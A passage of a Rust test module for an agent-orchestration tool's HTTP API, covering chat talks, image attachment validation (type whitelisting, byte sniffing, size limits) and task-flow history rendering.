15000        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15001        let attachment = f
15002            .talks()
15003            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15004            .expect("attachment metadata")
15005            .expect("stored attachment");
15006        let store = f.talks();
15007        let mut recovered = store.get(&id).expect("opened talk");
15008        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15009
15010        let resumed = f
15011            .post(&format!("/api/talks/{id}/pending/resume"), None)
15012            .await;
15013        assert_eq!(resumed.status, 202, "{}", resumed.body);
15014        for _ in 0..SETTLE_STEPS {
15015            if store.get(&id).expect("talk").turns.len() == 2 {
15016                break;
15017            }
15018            tokio::time::sleep(Duration::from_millis(10)).await;
15019        }
15020        let finished = store.get(&id).expect("finished talk");
15021        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15022        assert!(finished.turns[0].body.is_empty());
15023        assert_eq!(finished.turns[0].attachments.len(), 1);
15024        assert!(finished.pending_attachments.is_empty());
15025    }
15026
15027    #[tokio::test]
15028    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15029        let (_tmp, _repo, f) = talk_fixture().await;
15030        let id = f.post("/api/talks", None).await.json()["id"]
15031            .as_str()
15032            .expect("id")
15033            .to_owned();
15034        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15035        assert_eq!(closed.status, 200, "{}", closed.body);
15036        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15037            .expect("serialize closed talk");
15038        for (path, body) in [
15039            (format!("/api/talks/{id}/pending/resume"), None),
15040            (
15041                format!("/api/talks/{id}/pending/clear"),
15042                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15043            ),
15044            (
15045                format!("/api/talks/{id}/pending/edit"),
15046                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15047            ),
15048            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15049        ] {
15050            let response = f.post(&path, body).await;
15051            assert_eq!(response.status, 409, "{}", response.body);
15052        }
15053        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15054            .expect("serialize closed talk");
15055        assert_eq!(
15056            after_clear, before_clear,
15057            "clear must not rewrite a closed talk"
15058        );
15059    }
15060
15061    /// Keeps both claims observable long enough to exercise the distinction
15062    /// between one busy talk and a globally locked Chat surface.
15063    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15064
15065    #[tokio::test]
15066    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15067        let tmp = TempDir::new().expect("tempdir");
15068        let repo = tmp.path().join("repo");
15069        std::fs::create_dir_all(&repo).expect("repo dir");
15070        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15071        let f = Fixture::with_repo(repo).await;
15072        let id_a = f.post("/api/talks", None).await.json()["id"]
15073            .as_str()
15074            .unwrap()
15075            .to_owned();
15076        let id_b = f.post("/api/talks", None).await.json()["id"]
15077            .as_str()
15078            .unwrap()
15079            .to_owned();
15080
15081        let a = f
15082            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15083            .await;
15084        assert_eq!(a.status, 202, "{}", a.body);
15085        assert_eq!(a.json()["thinking"], true);
15086        let b = f
15087            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15088            .await;
15089        assert_eq!(b.status, 202, "{}", b.body);
15090        assert_eq!(b.json()["thinking"], true);
15091
15092        let listed = f.get("/api/talks").await.json();
15093        for id in [&id_a, &id_b] {
15094            let view = listed
15095                .as_array()
15096                .unwrap()
15097                .iter()
15098                .find(|talk| talk["id"] == *id)
15099                .unwrap();
15100            assert_eq!(view["thinking"], true, "{listed}");
15101        }
15102        let repeated = f
15103            .post(
15104                &format!("/api/talks/{id_a}/say"),
15105                Some(r#"{"text":"again"}"#),
15106            )
15107            .await;
15108        assert_eq!(repeated.status, 202, "{}", repeated.body);
15109        assert_eq!(repeated.json()["pending"], "again");
15110    }
15111
15112    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15113    /// few more, since real uploads are never exactly eight bytes.
15114    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15115
15116    #[tokio::test]
15117    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15118        let f = Fixture::start().await;
15119        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15120
15121        let res = f
15122            .post_bytes(
15123                &format!("/api/talks/{id}/attachments"),
15124                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15125                PNG_BYTES,
15126            )
15127            .await;
15128        assert_eq!(res.status, 201, "{}", res.body);
15129        let body = res.json();
15130        assert_eq!(body["name"], "shot.png");
15131        assert_eq!(body["mime"], "image/png");
15132        assert_eq!(body["bytes"], PNG_BYTES.len());
15133        let att_id = body["id"].as_str().expect("id").to_owned();
15134        assert_eq!(
15135            att_id.len(),
15136            32,
15137            "the id must never be a client-suppliable path: {att_id}"
15138        );
15139
15140        let got = f
15141            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15142            .await;
15143        assert_eq!(got.status, 200, "{}", got.body);
15144        assert_eq!(got.header("content-type"), Some("image/png"));
15145        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15146        assert_eq!(got.bytes, PNG_BYTES);
15147    }
15148
15149    #[tokio::test]
15150    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15151        let f = Fixture::start().await;
15152        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15153
15154        // SVG can carry a `<script>`, so it is never on the whitelist even
15155        // though it is a real IANA image type.
15156        let svg = f
15157            .post_bytes(
15158                &format!("/api/talks/{id}/attachments"),
15159                &[("Content-Type", "image/svg+xml")],
15160                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15161            )
15162            .await;
15163        assert!(
15164            (400..500).contains(&svg.status),
15165            "svg must be refused: {} {}",
15166            svg.status,
15167            svg.body
15168        );
15169        assert!(svg.body.contains("SVG"), "{}", svg.body);
15170
15171        let text = f
15172            .post_bytes(
15173                &format!("/api/talks/{id}/attachments"),
15174                &[("Content-Type", "text/plain")],
15175                b"just some text",
15176            )
15177            .await;
15178        assert!(
15179            (400..500).contains(&text.status),
15180            "an unlisted type must be refused: {} {}",
15181            text.status,
15182            text.body
15183        );
15184
15185        // The declared type is a real png, but the size check runs before
15186        // the bytes are even looked at.
15187        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15188        let big = f
15189            .post_bytes(
15190                &format!("/api/talks/{id}/attachments"),
15191                &[("Content-Type", "image/png")],
15192                &oversized,
15193            )
15194            .await;
15195        assert_eq!(
15196            big.status,
15197            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15198            "{}",
15199            big.body
15200        );
15201    }
15202
15203    #[tokio::test]
15204    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15205        let f = Fixture::start().await;
15206        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15207
15208        // A whitelisted `Content-Type`, but bytes that are not actually a
15209        // png - the declared header alone is never trusted.
15210        let res = f
15211            .post_bytes(
15212                &format!("/api/talks/{id}/attachments"),
15213                &[("Content-Type", "image/png")],
15214                b"<html>not a picture</html>",
15215            )
15216            .await;
15217        assert!((400..500).contains(&res.status), "{}", res.body);
15218    }
15219
15220    #[tokio::test]
15221    async fn an_unknown_attachment_id_is_a_404() {
15222        let f = Fixture::start().await;
15223        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15224
15225        let res = f
15226            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15227            .await;
15228        assert_eq!(res.status, 404, "{}", res.body);
15229    }
15230
15231    #[tokio::test]
15232    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15233        let f = Fixture::start().await;
15234        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15235
15236        let uploaded = f
15237            .post_bytes(
15238                &format!("/api/talks/{id}/attachments"),
15239                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15240                PNG_BYTES,
15241            )
15242            .await;
15243        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15244        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15245
15246        let res = f
15247            .post(
15248                &format!("/api/talks/{id}/say"),
15249                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15250            )
15251            .await;
15252        assert_eq!(res.status, 202, "{}", res.body);
15253        let queued = res.json();
15254        let turns = queued["turns"].as_array().expect("turns array");
15255        assert_eq!(
15256            turns.len(),
15257            1,
15258            "an empty body with an attachment is still a turn: {queued}"
15259        );
15260        assert_eq!(turns[0]["who"], "operator");
15261        assert_eq!(turns[0]["body"], "");
15262        let atts = turns[0]["attachments"]
15263            .as_array()
15264            .expect("attachments array");
15265        assert_eq!(atts.len(), 1);
15266        assert_eq!(atts[0]["id"], att_id);
15267        assert_eq!(atts[0]["mime"], "image/png");
15268
15269        // Not only in the response: `record` flushes to disk before the
15270        // agent's own turn is even spawned.
15271        let on_disk = f.talks().get(&id).expect("get");
15272        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15273        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15274    }
15275
15276    #[tokio::test]
15277    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15278        let f = Fixture::start().await;
15279        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15280
15281        let res = f
15282            .post(
15283                &format!("/api/talks/{id}/say"),
15284                Some(&format!(
15285                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15286                    "a".repeat(32)
15287                )),
15288            )
15289            .await;
15290        assert!((400..500).contains(&res.status), "{}", res.body);
15291        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15292
15293        let on_disk = f.talks().get(&id).expect("get");
15294        assert!(
15295            on_disk.turns.is_empty(),
15296            "a rejected attachment id must not partially record the turn: {:?}",
15297            on_disk.turns
15298        );
15299    }
15300
15301    #[tokio::test]
15302    async fn talk_close_makes_the_talk_refuse_further_turns() {
15303        let f = Fixture::start().await;
15304        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15305
15306        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15307        assert_eq!(closed.status, 200, "{}", closed.body);
15308        assert_eq!(closed.json()["status"], "closed");
15309
15310        // Idempotent: closing an already-closed talk is not an error.
15311        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15312        assert_eq!(closed_again.status, 200);
15313        assert_eq!(closed_again.json()["status"], "closed");
15314
15315        let said = f
15316            .post(
15317                &format!("/api/talks/{id}/say"),
15318                Some(r#"{"text":"too late"}"#),
15319            )
15320            .await;
15321        assert_eq!(said.status, 409, "{}", said.body);
15322    }
15323
15324    #[tokio::test]
15325    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15326        let (_tmp, _repo, f) = talk_fixture().await;
15327        let id = f.post("/api/talks", None).await.json()["id"]
15328            .as_str()
15329            .expect("id")
15330            .to_owned();
15331        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15332        assert_eq!(closed.status, 200, "{}", closed.body);
15333
15334        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15335        assert_eq!(reopened.status, 200, "{}", reopened.body);
15336        assert_eq!(reopened.json()["status"], "open");
15337
15338        // Idempotent: reopening an already-open talk is not an error.
15339        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15340        assert_eq!(reopened_again.status, 200);
15341        assert_eq!(reopened_again.json()["status"], "open");
15342
15343        let said = f
15344            .post(
15345                &format!("/api/talks/{id}/say"),
15346                Some(r#"{"text":"still there?"}"#),
15347            )
15348            .await;
15349        assert_eq!(
15350            said.status, 202,
15351            "a reopened talk accepts turns again: {}",
15352            said.body
15353        );
15354    }
15355
15356    #[tokio::test]
15357    async fn talk_reopen_on_an_unknown_id_is_404() {
15358        let f = Fixture::start().await;
15359        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15360        assert_eq!(res.status, 404, "{}", res.body);
15361    }
15362
15363    #[tokio::test]
15364    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15365        let f = Fixture::start().await;
15366        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15367
15368        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15369        assert_eq!(deleted.status, 204, "{}", deleted.body);
15370
15371        let after = f.get(&format!("/api/talks/{id}")).await;
15372        assert_eq!(after.status, 404, "{}", after.body);
15373
15374        let listed = f.get("/api/talks").await.json();
15375        assert!(
15376            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15377            "a deleted talk must not linger in the list: {listed}"
15378        );
15379    }
15380
15381    #[tokio::test]
15382    async fn talk_delete_on_an_unknown_id_is_404() {
15383        let f = Fixture::start().await;
15384        let res = f.delete("/api/talks/nonexistent-id").await;
15385        assert_eq!(res.status, 404, "{}", res.body);
15386    }
15387
15388    /// A task's page lists every run it ever had, in order, and says what kind
15389    /// of attempt each was - including a resume, which re-pushes the same run
15390    /// id, and a run whose record this build cannot read.
15391    #[tokio::test]
15392    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15393        let f = Fixture::start().await;
15394        let (a, b, gone) = (
15395            "20260902-140501-aaaa",
15396            "20260902-140502-bbbb",
15397            "20260902-140503-cccc",
15398        );
15399        write_run(&f.runs(), a, RunStatus::Stalled);
15400        let mut review = RunState::new(
15401            PathBuf::from("/repo/magi"),
15402            "main".to_owned(),
15403            "0123456789abcdef".to_owned(),
15404            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15405                .to_owned(),
15406            Config::default(),
15407        );
15408        review.id = b.to_owned();
15409        review.status = RunStatus::Merged;
15410        write_state(&f.runs(), &review);
15411
15412        let mut task = Task::new(
15413            "retry".to_owned(),
15414            "Do the thing".to_owned(),
15415            PathBuf::from("/repo/magi"),
15416            Source::Human,
15417        );
15418        task.start(a.to_owned());
15419        task.stall("quota");
15420        task.start(a.to_owned());
15421        task.start(b.to_owned());
15422        task.start(gone.to_owned());
15423        // This fixture models an older queue file with repeated run entries.
15424        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15425        f.queue().put(&mut task).expect("file the task");
15426
15427        let res = f.get(&format!("/api/queue/{}", task.id)).await;
15428        assert_eq!(res.status, 200, "{}", res.body);
15429        let v = res.json();
15430        let h = v["history"].as_array().expect("history");
15431        assert_eq!(h.len(), 4, "{v}");
15432        assert_eq!(h[0]["kind"], "competition");
15433        assert_eq!(h[0]["status"], "stalled");
15434        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15435        assert_eq!(h[1]["kind"], "resume", "{v}");
15436        assert!(
15437            h[0]["outcome"]
15438                .as_str()
15439                .unwrap()
15440                .contains("unknown. Pass #2"),
15441            "an earlier pass of a resumed run must not claim the final outcome: {v}"
15442        );
15443        assert!(
15444            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15445            "{v}"
15446        );
15447        assert!(
15448            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15449            "an unrecorded cause must not be narrated as an operator park: {v}"
15450        );
15451        assert_eq!(h[2]["kind"], "review");
15452        assert!(
15453            h[2]["description"]
15454                .as_str()
15455                .unwrap()
15456                .contains("magi/aaaa/A")
15457        );
15458        assert_eq!(h[2]["status"], "merged");
15459        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15460        assert_eq!(v["runs_unreadable"], 1);
15461        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15462        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15463        assert_eq!(nodes[4]["note"], "unreadable");
15464        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15465        assert_eq!(v["instruction"], "Do the thing");
15466        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15467
15468        // The run's own page links back to the task.
15469        let run = f.get(&format!("/api/runs/{a}")).await.json();
15470        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15471
15472        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15473    }
15474
15475    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15476        let mut s = RunState::new(
15477            PathBuf::from("/repo/magi"),
15478            "main".to_owned(),
15479            "0123456789abcdef".to_owned(),
15480            "Do it".to_owned(),
15481            Config::default(),
15482        );
15483        s.status = status;
15484        edit(&mut s);
15485        s
15486    }
15487
15488    fn flow_task(runs: &[&str]) -> Task {
15489        let mut t = Task::new(
15490            "t".to_owned(),
15491            "Do it".to_owned(),
15492            PathBuf::from("/repo/magi"),
15493            Source::Human,
15494        );
15495        for r in runs {
15496            t.start((*r).to_owned());
15497        }
15498        // Synthetic flows without RunPass records model legacy queue data.
15499        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15500        t
15501    }
15502
15503    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15504        let h = task_history(task, |id| {
15505            states
15506                .iter()
15507                .find(|(i, _)| *i == id)
15508                .and_then(|(_, s)| s.clone())
15509        });
15510        task_flow(task, &h, 5, None)
15511    }
15512
15513    #[test]
15514    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15515        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15516        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15517        let first = "2026-10-10T02:00:00Z".parse().unwrap();
15518        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15519        let held = "2026-10-10T04:00:00Z".parse().unwrap();
15520        let run = flow_run(RunStatus::Implementing, |s| {
15521            s.created_at = created;
15522            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15523            s.passes[0].started_at = first;
15524            s.passes[1].started_at = resumed;
15525        });
15526        let mut task = flow_task(&[RUN_X, RUN_X]);
15527        task.created_at = queued;
15528        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15529        task.status = TaskStatus::Held;
15530        task.held_at = Some(held);
15531        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15532        assert_eq!(
15533            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15534            vec![Some(queued), Some(first), Some(resumed), Some(held)]
15535        );
15536        assert!(flow.nodes.iter().all(|n| n.time_expected));
15537        let json = serde_json::to_value(&flow).unwrap();
15538        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15539        assert_eq!(json["nodes"][2]["time_expected"], true);
15540    }
15541
15542    #[test]
15543    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15544        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15545        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15546        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15547        // These timestamps are not the start of the current status.
15548        task.held_at = Some(created);
15549        task.blocked_at = Some(created);
15550        for status in [
15551            TaskStatus::Queued,
15552            TaskStatus::Running,
15553            TaskStatus::Blocked,
15554            TaskStatus::Done,
15555            TaskStatus::Failed,
15556            TaskStatus::Parked,
15557            TaskStatus::Held,
15558        ] {
15559            task.status = status;
15560            if status == TaskStatus::Held {
15561                task.held_at = None;
15562            }
15563            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15564            assert_eq!(flow.nodes[1].started_at, Some(created));
15565            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15566            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15567            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15568            let json = serde_json::to_value(&flow).unwrap();
15569            assert!(json["nodes"][3]["started_at"].is_null());
15570            assert_eq!(json["nodes"][3]["time_expected"], true);
15571        }
15572    }
15573
15574    #[test]
15575    fn flow_context_links_do_not_expect_start_times() {
15576        let mut task = flow_task(&[]);
15577        task.source = Source::Agent {
15578            run: "chat-id".to_owned(),
15579            node: "chat".to_owned(),
15580        };
15581        let origin = followup_origin(&fu(None), |_| None, |_| None);
15582        let flow = task_flow(&task, &[], 5, Some(&origin));
15583        for node in &flow.nodes[..2] {
15584            assert!(!node.time_expected);
15585            assert_eq!(node.started_at, None);
15586        }
15587        assert!(flow.nodes[2].time_expected);
15588    }
15589
15590    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15591        crate::queue::FollowUp {
15592            run: "20260901-000000-aaaa".to_owned(),
15593            origin_task: origin_task.map(str::to_owned),
15594            pr: "https://example.com/o/r/pull/1".to_owned(),
15595            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15596                .map(str::to_owned)
15597                .to_vec(),
15598            generation: 1,
15599        }
15600    }
15601
15602    fn parent_task() -> Task {
15603        let mut p = flow_task(&[]);
15604        p.title = "Parent title".to_owned();
15605        p.status = TaskStatus::Done;
15606        p
15607    }
15608
15609    #[test]
15610    fn flow_opens_with_the_parent_task_of_a_followup() {
15611        let p = parent_task();
15612        let pid = p.id.clone();
15613        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15614        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15615        let n = &f.nodes[0];
15616        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15617        assert_eq!(
15618            n.label,
15619            format!("Follow-up of {}", crate::queue::short(&pid))
15620        );
15621        assert_eq!(n.detail.as_deref(), Some("Parent title"));
15622        assert_eq!(n.status, Some("done"));
15623        assert_eq!(n.status_of, "task");
15624        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15625        assert_eq!(f.nodes[1].key, "start");
15626        assert_eq!(f.edges[0].from, "origin");
15627        assert_eq!(
15628            f.edges[0].label,
15629            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15630        );
15631    }
15632
15633    #[test]
15634    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15635        let o = followup_origin(
15636            &fu(Some("gone")),
15637            |_| None,
15638            |_| {
15639                Some(RunState::new(
15640                    std::path::PathBuf::from("."),
15641                    "main".to_owned(),
15642                    "0".to_owned(),
15643                    "t".to_owned(),
15644                    crate::config::Config::default(),
15645                ))
15646            },
15647        );
15648        assert!(o.parent.is_none());
15649        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15650        let n = &f.nodes[0];
15651        assert_eq!(n.status_of, "run");
15652        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15653        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15654    }
15655
15656    #[test]
15657    fn flow_followup_with_nothing_readable_has_no_link() {
15658        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15659        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15660        let n = &f.nodes[0];
15661        assert_eq!(n.href, None);
15662        assert_eq!(n.note, Some("unreadable"));
15663        assert!(!n.readable);
15664    }
15665
15666    #[test]
15667    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15668        let o = followup_origin(&fu(None), |_| None, |_| None);
15669        let mut t = flow_task(&[]);
15670        t.origin_chat = Some("c1".to_owned());
15671        let f = task_flow(&t, &[], 5, Some(&o));
15672        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15673        t.source = Source::Agent {
15674            run: "c1".to_owned(),
15675            node: crate::queue::CHAT_NODE.to_owned(),
15676        };
15677        let f = task_flow(&t, &[], 5, Some(&o));
15678        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15679        assert_eq!(
15680            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15681            ("chat", "origin")
15682        );
15683    }
15684
15685    #[test]
15686    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15687        let mut p = parent_task();
15688        p.id = "a b/c".to_owned();
15689        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15690        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15691    }
15692
15693    #[test]
15694    fn flow_opens_with_the_chat_that_queued_the_task() {
15695        let mut t = flow_task(&[]);
15696        t.source = Source::Agent {
15697            run: "a b/c".to_owned(),
15698            node: crate::queue::CHAT_NODE.to_owned(),
15699        };
15700        let f = flow_for(&t, &[]);
15701        assert_eq!(f.nodes[0].key, "chat");
15702        assert_eq!(f.nodes[0].kind, "chat");
15703        assert_eq!(
15704            f.nodes[0].label,
15705            format!("Chat {}", crate::queue::short("a b/c"))
15706        );
15707        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15708        assert_eq!(f.nodes[1].key, "start");
15709        assert_eq!(
15710            f.edges[0],
15711            FlowEdge {
15712                from: "chat".to_owned(),
15713                to: "start".to_owned(),
15714                label: "queued from chat".to_owned(),
15715                attempt: AttemptCost::None,
15716            }
15717        );
15718    }
15719
15720    #[test]
15721    fn flow_has_no_chat_box_for_other_sources() {
15722        for source in [
15723            Source::Human,
15724            Source::Issue {
15725                number: 3,
15726                repo: "o/r".to_owned(),
15727            },
15728            Source::Agent {
15729                run: "20260904-014455-ab12".to_owned(),
15730                node: "implement".to_owned(),
15731            },
15732        ] {
15733            let mut t = flow_task(&[]);
15734            t.source = source;
15735            let f = flow_for(&t, &[]);
15736            assert_eq!(f.nodes[0].key, "start");
15737            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15738            assert!(f.edges.iter().all(|e| e.from != "chat"));
15739        }
15740    }
15741
15742    const FA: &str = "20260902-140501-aaaa";
15743    const FB: &str = "20260902-140502-bbbb";
15744
15745    #[test]
15746    fn flow_follows_blocked_retry_merged_to_done() {
15747        let mut t = flow_task(&[FA, FB]);
15748        t.status = TaskStatus::Done;
15749        let f = flow_for(
15750            &t,
15751            &[
15752                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15753                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15754            ],
15755        );
15756        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15757        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15758        assert_eq!(f.edges.len(), 3);
15759        assert_eq!(f.edges[0].label, "claimed");
15760        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15761        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15762        assert_eq!(f.edges[2].label, "merged \u{2192} done");
15763        assert_eq!(
15764            f.nodes[2].href.as_deref(),
15765            Some("#/runs/20260902-140502-bbbb")
15766        );
15767        assert!(f.nodes[2].decided);
15768    }
15769
15770    #[test]
15771    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15772        let quota = || {
15773            flow_run(RunStatus::Stalled, |s| {
15774                s.quota.push(crate::run::QuotaLoss {
15775                    seat: "judge-1".to_owned(),
15776                    node: "judge".to_owned(),
15777                    at: Timestamp::now(),
15778                    reset: None,
15779                })
15780            })
15781        };
15782        let mut t = flow_task(&[FA, FA]);
15783        t.status = TaskStatus::Queued;
15784        let f = flow_for(&t, &[(FA, Some(quota()))]);
15785        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15786        assert_eq!(f.nodes[1].note, Some("interrupted"));
15787        assert_eq!(
15788            f.nodes[1].status, None,
15789            "no outcome copied onto an earlier pass"
15790        );
15791        assert_eq!(
15792            f.edges[1].attempt,
15793            AttemptCost::Unknown,
15794            "a resume does not prove the earlier pass was refunded"
15795        );
15796        assert!(f.edges[1].label.contains("resume the same run"));
15797        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15798        assert_eq!(
15799            f.edges[2].label,
15800            "stalled after a resume, refund unknown \u{2192} queued"
15801        );
15802        assert!(!f.nodes[2].decided, "a stall is not a decision");
15803        assert_eq!(f.nodes[2].note, Some("no verdict"));
15804    }
15805
15806    #[test]
15807    fn flow_single_pass_quota_stall_is_refunded() {
15808        let t = flow_task(&[FA]);
15809        let f = flow_for(
15810            &t,
15811            &[(
15812                FA,
15813                Some(flow_run(RunStatus::Stalled, |s| {
15814                    s.quota.push(crate::run::QuotaLoss {
15815                        seat: "judge-1".to_owned(),
15816                        node: "judge".to_owned(),
15817                        at: Timestamp::now(),
15818                        reset: None,
15819                    })
15820                })),
15821            )],
15822        );
15823        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15824    }
15825
15826    #[test]
15827    fn flow_parked_refunds_and_stall_without_quota_spends() {
15828        let mut t = flow_task(&[FA]);
15829        t.status = TaskStatus::Queued;
15830        let f = flow_for(
15831            &t,
15832            &[(
15833                FA,
15834                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15835            )],
15836        );
15837        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15838        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15839        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15840        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15841        assert!(!f.nodes[1].decided);
15842    }
15843
15844    #[test]
15845    fn flow_keeps_an_unreadable_run_as_its_own_node() {
15846        let t = flow_task(&[FA, FB]);
15847        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15848        assert_eq!(f.nodes[1].note, Some("unreadable"));
15849        assert!(!f.nodes[1].readable);
15850        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15851        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15852    }
15853
15854    #[test]
15855    fn flow_names_the_branch_of_a_review_only_run() {
15856        let t = flow_task(&[FA]);
15857        let f = flow_for(
